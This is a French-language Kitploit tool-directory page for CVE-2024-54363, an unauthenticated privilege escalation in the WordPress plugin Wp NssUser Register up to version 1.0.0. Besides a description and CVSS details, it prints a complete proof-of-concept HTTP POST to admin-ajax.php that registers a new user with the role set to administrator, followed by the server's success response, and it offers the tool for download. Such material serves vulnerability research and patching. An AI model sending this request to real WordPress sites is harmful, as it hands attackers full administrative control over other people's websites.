Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-54363 — Wp NssUser Register <= 1.0.0 - Élévation de privilèges non authentifiée | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2024-54363
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications Web
GitHubrandomrobbiebf/cve-2024-54363

CVE-2024-54363

Wp NssUser Register <= 1.0.0 - Élévation de privilèges non authentifiée

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-54363

Wp NssUser Register <= 1.0.0 - Élévation de privilèges non authentifiée

Description

Le plugin Wp NssUser Register pour WordPress est vulnérable à l'élévation de privilèges dans toutes les versions jusqu'à la version 1.0.0 incluse. Cela permet à des attaquants non authentifiés de s'inscrire sur le site en tant qu'administrateurs.

Détails

  • Type : plugin
  • Slug : wp-nssuser-register
  • Version affectée : 1.0.0
  • Score CVSS : 9.8
  • Sévérité CVSS : Critique
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE : CVE-2024-54363
  • Statut : Fermé

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/

action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass
root@kitploit:~
<p>successful, just Check this: </p>            <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>
Télécharger l’outil